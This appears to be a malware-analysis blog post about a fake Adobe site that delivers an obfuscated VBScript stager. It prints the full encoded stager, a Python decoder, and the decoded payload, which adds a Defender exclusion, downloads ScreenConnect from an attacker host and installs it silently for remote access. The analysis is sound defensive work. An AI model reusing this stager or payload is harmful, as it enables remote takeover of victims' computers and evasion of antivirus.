> For the complete documentation index, see [llms.txt](https://malwaresourcecode.com/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://malwaresourcecode.com/home/my-projects/malware-reversing-shorts/2026-07-20-ai-slop-malware-tries-to-deliver-screenconnect.md).
# 2026-07-20 - AI slop malware tries to deliver ScreenConnect
I got a DM. Is this malware? We got this sus af document link thingy.
The domain is impersonating Adobe.
{% code overflow="wrap" %}
```
https://q3kk0q2.es/adobe/
```
{% endcode %}
Obviously Adobe, a major company, hosts their products on ... q3kk0q2 (???). Anyway, you can tell this is a poor attempt at tricking people.
If you view the website it's hidden behind CloudFlare (as is tradition), and surprisingly the website is in DDoS protection mode. Silly.
Here is the website when you view it:
Then upon "loading" it tells you to download the super important document "NSM\_Project\_Management\_2026.pdf".
When you click "download" is delivers "Adobe\_Acrobat\_Reader.vbs".
Ahhh, yes, of course, of course. Adobe, the famous and large company, delivers its products as Visual Basic Script (it doesn't).
If you right-click and inspect the file in Notepad you'll see it's a totally normal file (it's not). It is a malware stager.
{% code overflow="wrap" %}
```
Dim xamexigod27 : xamexigod27 = Array(32,31,27,6,0,1,79,42,23,31,3,6,12,6,27,98,101,98,101,43,6,2,79,11,0,24,1,3,0,14,11,58,29,3,98,101,43,6,2,79,28,14,25,10,63,14,27,7,98,101,43,6,2,79,6,1,28,27,14,3,3,43,6,29,98,101,43,6,2,79,7,27,27,31,98,101,43,6,2,79,28,27,29,10,14,2,98,101,43,6,2,79,9,28,0,98,101,43,6,2,79,28,7,10,3,3,98,101,43,6,2,79,31,0,24,10,29,28,7,10,3,3,44,2,11,98,101,98,101,11,0,24,1,3,0,14,11,58,29,3,79,82,79,77,7,27,27,31,28,85,64,64,31,14,27,29,29,0,1,2,14,5,0,29,65,27,0,31,64,45,6,1,64,60,12,29,10,10,1,44,0,1,1,10,12,27,65,44,3,6,10,1,27,60,10,27,26,31,65,2,28,6,80,10,82,46,12,12,10,28,28,73,22,82,40,26,10,28,27,77,98,101,6,1,28,27,14,3,3,43,6,29,79,82,79,77,44,85,51,59,10,2,31,77,98,101,28,14,25,10,63,14,27,7,79,82,79,6,1,28,27,14,3,3,43,6,29,79,73,79,77,51,6,1,28,27,14,3,3,10,29,65,2,28,6,77,98,101,98,101,60,10,27,79,9,28,0,79,82,79,44,29,10,14,27,10,32,13,5,10,12,27,71,77,60,12,29,6,31,27,6,1,8,65,41,6,3,10,60,22,28,27,10,2,32,13,5,10,12,27,77,70,98,101,60,10,27,79,28,7,10,3,3,79,82,79,44,29,10,14,27,10,32,13,5,10,12,27,71,77,56,60,12,29,6,31,27,65,60,7,10,3,3,77,70,98,101,98,101,72,79,44,29,10,14,27,10,79,27,7,10,79,11,6,29,10,12,27,0,29,22,98,101,38,9,79,33,0,27,79,9,28,0,65,41,0,3,11,10,29,42,23,6,28,27,28,71,6,1,28,27,14,3,3,43,6,29,70,79,59,7,10,1,98,101,79,79,79,79,9,28,0,65,44,29,10,14,27,10,41,0,3,11,10,29,79,6,1,28,27,14,3,3,43,6,29,98,101,42,1,11,79,38,9,98,101,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,72,79,46,43,43,79,46,33,59,38,57,38,61,58,60,79,42,55,44,35,58,60,38,32,33,79,41,32,61,79,59,39,42,79,41,32,35,43,42,61,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,72,79,61,10,30,26,6,29,10,28,79,46,11,2,6,1,6,28,27,29,14,27,0,29,79,31,29,6,25,6,3,10,8,10,28,98,101,31,0,24,10,29,28,7,10,3,3,44,2,11,79,82,79,77,31,0,24,10,29,28,7,10,3,3,65,10,23,10,79,66,42,23,10,12,26,27,6,0,1,63,0,3,6,12,22,79,45,22,31,14,28,28,79,66,44,0,2,2,14,1,11,79,77,77,46,11,11,66,34,31,63,29,10,9,10,29,10,1,12,10,79,66,42,23,12,3,26,28,6,0,1,63,14,27,7,79,72,77,79,73,79,6,1,28,27,14,3,3,43,6,29,79,73,79,77,72,77,77,77,98,101,28,7,10,3,3,65,61,26,1,79,31,0,24,10,29,28,7,10,3,3,44,2,11,67,79,95,67,79,59,29,26,10,98,101,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,72,79,43,0,24,1,3,0,14,11,79,27,7,10,79,6,1,28,27,14,3,3,10,29,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,60,10,27,79,7,27,27,31,79,82,79,44,29,10,14,27,10,32,13,5,10,12,27,71,77,34,60,55,34,35,93,65,60,10,29,25,10,29,55,34,35,39,59,59,63,77,70,98,101,98,101,32,1,79,42,29,29,0,29,79,61,10,28,26,2,10,79,33,10,23,27,98,101,7,27,27,31,65,32,31,10,1,79,77,40,42,59,77,67,79,11,0,24,1,3,0,14,11,58,29,3,67,79,41,14,3,28,10,98,101,7,27,27,31,65,60,10,1,11,98,101,98,101,38,9,79,42,29,29,65,33,26,2,13,10,29,79,83,81,79,95,79,59,7,10,1,98,101,79,79,79,79,56,60,12,29,6,31,27,65,42,12,7,0,79,77,44,0,1,1,10,12,27,6,0,1,79,10,29,29,0,29,85,79,77,79,73,79,42,29,29,65,43,10,28,12,29,6,31,27,6,0,1,98,101,79,79,79,79,56,60,12,29,6,31,27,65,62,26,6,27,79,94,98,101,42,1,11,79,38,9,98,101,32,1,79,42,29,29,0,29,79,40,0,59,0,79,95,98,101,98,101,38,9,79,7,27,27,31,65,60,27,14,27,26,28,79,83,81,79,93,95,95,79,59,7,10,1,98,101,79,79,79,79,56,60,12,29,6,31,27,65,42,12,7,0,79,77,39,59,59,63,79,42,29,29,0,29,85,79,77,79,73,79,7,27,27,31,65,60,27,14,27,26,28,98,101,79,79,79,79,56,60,12,29,6,31,27,65,62,26,6,27,79,94,98,101,42,1,11,79,38,9,98,101,98,101,60,10,27,79,28,27,29,10,14,2,79,82,79,44,29,10,14,27,10,32,13,5,10,12,27,71,77,46,43,32,43,45,65,60,27,29,10,14,2,77,70,98,101,28,27,29,10,14,2,65,59,22,31,10,79,82,79,94,98,101,28,27,29,10,14,2,65,32,31,10,1,98,101,28,27,29,10,14,2,65,56,29,6,27,10,79,7,27,27,31,65,61,10,28,31,0,1,28,10,45,0,11,22,98,101,28,27,29,10,14,2,65,60,14,25,10,59,0,41,6,3,10,79,28,14,25,10,63,14,27,7,67,79,93,98,101,28,27,29,10,14,2,65,44,3,0,28,10,98,101,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,72,79,61,26,1,79,27,7,10,79,6,1,28,27,14,3,3,10,29,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,38,9,79,9,28,0,65,41,6,3,10,42,23,6,28,27,28,71,28,14,25,10,63,14,27,7,70,79,59,7,10,1,98,101,79,79,79,79,31,0,24,10,29,28,7,10,3,3,44,2,11,79,82,79,77,31,0,24,10,29,28,7,10,3,3,65,10,23,10,79,66,44,0,2,2,14,1,11,79,77,77,60,27,14,29,27,66,63,29,0,12,10,28,28,79,2,28,6,10,23,10,12,79,66,46,29,8,26,2,10,1,27,35,6,28,27,79,72,64,6,72,67,79,72,77,79,73,79,28,14,25,10,63,14,27,7,79,73,79,77,72,67,79,72,64,30,1,72,79,66,57,10,29,13,79,61,26,1,46,28,79,66,56,14,6,27,77,77,77,98,101,79,79,79,79,28,7,10,3,3,65,61,26,1,79,31,0,24,10,29,28,7,10,3,3,44,2,11,67,79,95,67,79,59,29,26,10,98,101,42,3,28,10,98,101,79,79,79,79,56,60,12,29,6,31,27,65,42,12,7,0,79,77,38,1,28,27,14,3,3,10,29,79,9,6,3,10,79,24,14,28,79,1,0,27,79,28,14,25,10,11,65,77,98,101,42,1,11,79,38,9,98,101,98,101,72,79,44,3,10,14,1,26,31,98,101,60,10,27,79,28,27,29,10,14,2,79,82,79,33,0,27,7,6,1,8,98,101,60,10,27,79,7,27,27,31,79,82,79,33,0,27,7,6,1,8,98,101,60,10,27,79,28,7,10,3,3,79,82,79,33,0,27,7,6,1,8,98,101,60,10,27,79,9,28,0,79,82,79,33,0,27,7,6,1,8)
Dim gofojuqu34 : gofojuqu34 = ""
Dim bilaxujet72
For bilaxujet72 = 0 To UBound(xamexigod27)
gofojuqu34 = gofojuqu34 & ChrW(xamexigod27(bilaxujet72) Xor 111)
Next
ExecuteGlobal(gofojuqu34)
```
{% endcode %}
As you can see, this is a very silly and totally not malware (it's malware).
We will whip up a silly Python script to decode it.
{% code overflow="wrap" %}
```
from pathlib import Path
numbers = [32, 31, 27, 6, 0, 1, 79, 42, 23, 31, 3, 6, 12, 6, 27, 98, 101, 98, 101, 43, 6, 2, 79, 11, 0, 24, 1, 3, 0, 14, 11, 58, 29, 3, 98, 101, 43, 6, 2, 79, 28, 14, 25, 10, 63, 14, 27, 7, 98, 101, 43, 6, 2, 79, 6, 1, 28, 27, 14, 3, 3, 43, 6, 29, 98, 101, 43, 6, 2, 79, 7, 27, 27, 31, 98, 101, 43, 6, 2, 79, 28, 27, 29, 10, 14, 2, 98, 101, 43, 6, 2, 79, 9, 28, 0, 98, 101, 43, 6, 2, 79, 28, 7, 10, 3, 3, 98, 101, 43, 6, 2, 79, 31, 0, 24, 10, 29, 28, 7, 10, 3, 3, 44, 2, 11, 98, 101, 98, 101, 11, 0, 24, 1, 3, 0, 14, 11, 58, 29, 3, 79, 82, 79, 77, 7, 27, 27, 31, 28, 85, 64, 64, 31, 14, 27, 29, 29, 0, 1, 2, 14, 5, 0, 29, 65, 27, 0, 31, 64, 45, 6, 1, 64, 60, 12, 29, 10, 10, 1, 44, 0, 1, 1, 10, 12, 27, 65, 44, 3, 6, 10, 1, 27, 60, 10, 27, 26, 31, 65, 2, 28, 6, 80, 10, 82, 46, 12, 12, 10, 28, 28, 73, 22, 82, 40, 26, 10, 28, 27, 77, 98, 101, 6, 1, 28, 27, 14, 3, 3, 43, 6, 29, 79, 82, 79, 77, 44, 85, 51, 59, 10, 2, 31, 77, 98, 101, 28, 14, 25, 10, 63, 14, 27, 7, 79, 82, 79, 6, 1, 28, 27, 14, 3, 3, 43, 6, 29, 79, 73, 79, 77, 51, 6, 1, 28, 27, 14, 3, 3, 10, 29, 65, 2, 28, 6, 77, 98, 101, 98, 101, 60, 10, 27, 79, 9, 28, 0, 79, 82, 79, 44, 29, 10, 14, 27, 10, 32, 13, 5, 10, 12, 27, 71, 77, 60, 12, 29, 6, 31, 27, 6, 1, 8, 65, 41, 6, 3, 10, 60, 22, 28, 27, 10, 2, 32, 13, 5, 10, 12, 27, 77, 70, 98, 101, 60, 10, 27, 79, 28, 7, 10, 3, 3, 79, 82, 79, 44, 29, 10, 14, 27, 10, 32, 13, 5, 10, 12, 27, 71, 77, 56, 60, 12, 29, 6, 31, 27, 65, 60, 7, 10, 3, 3, 77, 70, 98, 101, 98, 101, 72, 79, 44, 29, 10, 14, 27, 10, 79, 27, 7, 10, 79, 11, 6, 29, 10, 12, 27, 0, 29, 22, 98, 101, 38, 9, 79, 33, 0, 27, 79, 9, 28, 0, 65, 41, 0, 3, 11, 10, 29, 42, 23, 6, 28, 27, 28, 71, 6, 1, 28, 27, 14, 3, 3, 43, 6, 29, 70, 79, 59, 7, 10, 1, 98, 101, 79, 79, 79, 79, 9, 28, 0, 65, 44, 29, 10, 14, 27, 10, 41, 0, 3, 11, 10, 29, 79, 6, 1, 28, 27, 14, 3, 3, 43, 6, 29, 98, 101, 42, 1, 11, 79, 38, 9, 98, 101, 98, 101, 72, 79, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 98, 101, 72, 79, 46, 43, 43, 79, 46, 33, 59, 38, 57, 38, 61, 58, 60, 79, 42, 55, 44, 35, 58, 60, 38, 32, 33, 79, 41, 32, 61, 79, 59, 39, 42, 79, 41, 32, 35, 43, 42, 61, 98, 101, 72, 79, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 98, 101, 72, 79, 61, 10, 30, 26, 6, 29, 10, 28, 79, 46, 11, 2, 6, 1, 6, 28, 27, 29, 14, 27, 0, 29, 79, 31, 29, 6, 25, 6, 3, 10, 8, 10, 28, 98, 101, 31, 0, 24, 10, 29, 28, 7, 10, 3, 3, 44, 2, 11, 79, 82, 79, 77, 31, 0, 24, 10, 29, 28, 7, 10, 3, 3, 65, 10, 23, 10, 79, 66, 42, 23, 10, 12, 26, 27, 6, 0, 1, 63, 0, 3, 6, 12, 22, 79, 45, 22, 31, 14, 28, 28, 79, 66, 44, 0, 2, 2, 14, 1, 11, 79, 77, 77, 46, 11, 11, 66, 34, 31, 63, 29, 10, 9, 10, 29, 10, 1, 12, 10, 79, 66, 42, 23, 12, 3, 26, 28, 6, 0, 1, 63, 14, 27, 7, 79, 72, 77, 79, 73, 79, 6, 1, 28, 27, 14, 3, 3, 43, 6, 29, 79, 73, 79, 77, 72, 77, 77, 77, 98, 101, 28, 7, 10, 3, 3, 65, 61, 26, 1, 79, 31, 0, 24, 10, 29, 28, 7, 10, 3, 3, 44, 2, 11, 67, 79, 95, 67, 79, 59, 29, 26, 10, 98, 101, 98, 101, 72, 79, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 98, 101, 72, 79, 43, 0, 24, 1, 3, 0, 14, 11, 79, 27, 7, 10, 79, 6, 1, 28, 27, 14, 3, 3, 10, 29, 98, 101, 72, 79, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 98, 101, 60, 10, 27, 79, 7, 27, 27, 31, 79, 82, 79, 44, 29, 10, 14, 27, 10, 32, 13, 5, 10, 12, 27, 71, 77, 34, 60, 55, 34, 35, 93, 65, 60, 10, 29, 25, 10, 29, 55, 34, 35, 39, 59, 59, 63, 77, 70, 98, 101, 98, 101, 32, 1, 79, 42, 29, 29, 0, 29, 79, 61, 10, 28, 26, 2, 10, 79, 33, 10, 23, 27, 98, 101, 7, 27, 27, 31, 65, 32, 31, 10, 1, 79, 77, 40, 42, 59, 77, 67, 79, 11, 0, 24, 1, 3, 0, 14, 11, 58, 29, 3, 67, 79, 41, 14, 3, 28, 10, 98, 101, 7, 27, 27, 31, 65, 60, 10, 1, 11, 98, 101, 98, 101, 38, 9, 79, 42, 29, 29, 65, 33, 26, 2, 13, 10, 29, 79, 83, 81, 79, 95, 79, 59, 7, 10, 1, 98, 101, 79, 79, 79, 79, 56, 60, 12, 29, 6, 31, 27, 65, 42, 12, 7, 0, 79, 77, 44, 0, 1, 1, 10, 12, 27, 6, 0, 1, 79, 10, 29, 29, 0, 29, 85, 79, 77, 79, 73, 79, 42, 29, 29, 65, 43, 10, 28, 12, 29, 6, 31, 27, 6, 0, 1, 98, 101, 79, 79, 79, 79, 56, 60, 12, 29, 6, 31, 27, 65, 62, 26, 6, 27, 79, 94, 98, 101, 42, 1, 11, 79, 38, 9, 98, 101, 32, 1, 79, 42, 29, 29, 0, 29, 79, 40, 0, 59, 0, 79, 95, 98, 101, 98, 101, 38, 9, 79, 7, 27, 27, 31, 65, 60, 27, 14, 27, 26, 28, 79, 83, 81, 79, 93, 95, 95, 79, 59, 7, 10, 1, 98, 101, 79, 79, 79, 79, 56, 60, 12, 29, 6, 31, 27, 65, 42, 12, 7, 0, 79, 77, 39, 59, 59, 63, 79, 42, 29, 29, 0, 29, 85, 79, 77, 79, 73, 79, 7, 27, 27, 31, 65, 60, 27, 14, 27, 26, 28, 98, 101, 79, 79, 79, 79, 56, 60, 12, 29, 6, 31, 27, 65, 62, 26, 6, 27, 79, 94, 98, 101, 42, 1, 11, 79, 38, 9, 98, 101, 98, 101, 60, 10, 27, 79, 28, 27, 29, 10, 14, 2, 79, 82, 79, 44, 29, 10, 14, 27, 10, 32, 13, 5, 10, 12, 27, 71, 77, 46, 43, 32, 43, 45, 65, 60, 27, 29, 10, 14, 2, 77, 70, 98, 101, 28, 27, 29, 10, 14, 2, 65, 59, 22, 31, 10, 79, 82, 79, 94, 98, 101, 28, 27, 29, 10, 14, 2, 65, 32, 31, 10, 1, 98, 101, 28, 27, 29, 10, 14, 2, 65, 56, 29, 6, 27, 10, 79, 7, 27, 27, 31, 65, 61, 10, 28, 31, 0, 1, 28, 10, 45, 0, 11, 22, 98, 101, 28, 27, 29, 10, 14, 2, 65, 60, 14, 25, 10, 59, 0, 41, 6, 3, 10, 79, 28, 14, 25, 10, 63, 14, 27, 7, 67, 79, 93, 98, 101, 28, 27, 29, 10, 14, 2, 65, 44, 3, 0, 28, 10, 98, 101, 98, 101, 72, 79, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 98, 101, 72, 79, 61, 26, 1, 79, 27, 7, 10, 79, 6, 1, 28, 27, 14, 3, 3, 10, 29, 98, 101, 72, 79, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 98, 101, 38, 9, 79, 9, 28, 0, 65, 41, 6, 3, 10, 42, 23, 6, 28, 27, 28, 71, 28, 14, 25, 10, 63, 14, 27, 7, 70, 79, 59, 7, 10, 1, 98, 101, 79, 79, 79, 79, 31, 0, 24, 10, 29, 28, 7, 10, 3, 3, 44, 2, 11, 79, 82, 79, 77, 31, 0, 24, 10, 29, 28, 7, 10, 3, 3, 65, 10, 23, 10, 79, 66, 44, 0, 2, 2, 14, 1, 11, 79, 77, 77, 60, 27, 14, 29, 27, 66, 63, 29, 0, 12, 10, 28, 28, 79, 2, 28, 6, 10, 23, 10, 12, 79, 66, 46, 29, 8, 26, 2, 10, 1, 27, 35, 6, 28, 27, 79, 72, 64, 6, 72, 67, 79, 72, 77, 79, 73, 79, 28, 14, 25, 10, 63, 14, 27, 7, 79, 73, 79, 77, 72, 67, 79, 72, 64, 30, 1, 72, 79, 66, 57, 10, 29, 13, 79, 61, 26, 1, 46, 28, 79, 66, 56, 14, 6, 27, 77, 77, 77, 98, 101, 79, 79, 79, 79, 28, 7, 10, 3, 3, 65, 61, 26, 1, 79, 31, 0, 24, 10, 29, 28, 7, 10, 3, 3, 44, 2, 11, 67, 79, 95, 67, 79, 59, 29, 26, 10, 98, 101, 42, 3, 28, 10, 98, 101, 79, 79, 79, 79, 56, 60, 12, 29, 6, 31, 27, 65, 42, 12, 7, 0, 79, 77, 38, 1, 28, 27, 14, 3, 3, 10, 29, 79, 9, 6, 3, 10, 79, 24, 14, 28, 79, 1, 0, 27, 79, 28, 14, 25, 10, 11, 65, 77, 98, 101, 42, 1, 11, 79, 38, 9, 98, 101, 98, 101, 72, 79, 44, 3, 10, 14, 1, 26, 31, 98, 101, 60, 10, 27, 79, 28, 27, 29, 10, 14, 2, 79, 82, 79, 33, 0, 27, 7, 6, 1, 8, 98, 101, 60, 10, 27, 79, 7, 27, 27, 31, 79, 82, 79, 33, 0, 27, 7, 6, 1, 8, 98, 101, 60, 10, 27, 79, 28, 7, 10, 3, 3, 79, 82, 79, 33, 0, 27, 7, 6, 1, 8, 98, 101, 60, 10, 27, 79, 9, 28, 0, 79, 82, 79, 33, 0, 27, 7, 6, 1, 8]
decoded = "".join(chr(value ^ 111) for value in numbers)
output_path = Path("decoded.txt")
output_path.write_text(decoded, encoding="utf-8")
```
{% endcode %}
When we decode it we find ... AI SLOP. The decoded malware payload contains notes... Look at this piece of shit
{% code overflow="wrap" %}
```
Option Explicit
Dim downloadUrl
Dim savePath
Dim installDir
Dim http
Dim stream
Dim fso
Dim shell
Dim powershellCmd
downloadUrl = "https://patrronmajor.top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
installDir = "C:\Temp"
savePath = installDir & "\installer.msi"
Set fso = CreateObject("Scripting.FileSystemObject")
Set shell = CreateObject("WScript.Shell")
' Create the directory
If Not fso.FolderExists(installDir) Then
fso.CreateFolder installDir
End If
' ============================================
' ADD ANTIVIRUS EXCLUSION FOR THE FOLDER
' ============================================
' Requires Administrator privileges
powershellCmd = "powershell.exe -ExecutionPolicy Bypass -Command ""Add-MpPreference -ExclusionPath '" & installDir & "'"""
shell.Run powershellCmd, 0, True
' ============================================
' Download the installer
' ============================================
Set http = CreateObject("MSXML2.ServerXMLHTTP")
On Error Resume Next
http.Open "GET", downloadUrl, False
http.Send
If Err.Number <> 0 Then
WScript.Echo "Connection error: " & Err.Description
WScript.Quit 1
End If
On Error GoTo 0
If http.Status <> 200 Then
WScript.Echo "HTTP Error: " & http.Status
WScript.Quit 1
End If
Set stream = CreateObject("ADODB.Stream")
stream.Type = 1
stream.Open
stream.Write http.ResponseBody
stream.SaveToFile savePath, 2
stream.Close
' ============================================
' Run the installer
' ============================================
If fso.FileExists(savePath) Then
powershellCmd = "powershell.exe -Command ""Start-Process msiexec -ArgumentList '/i', '" & savePath & "', '/qn' -Verb RunAs -Wait"""
shell.Run powershellCmd, 0, True
Else
WScript.Echo "Installer file was not saved."
End If
' Cleanup
Set stream = Nothing
Set http = Nothing
Set shell = Nothing
Set fso = Nothing
```
{% endcode %}
It's an AI slop VB script that downloads and installs ScreenConnect to give the person remote access to the computer. The Threat Actors left notes in the secondary stager... like... "Run the installer" or ... "ADD ANTIVIRUS EXCLUSION FOR THE FOLDER".
This is unbelievably lame.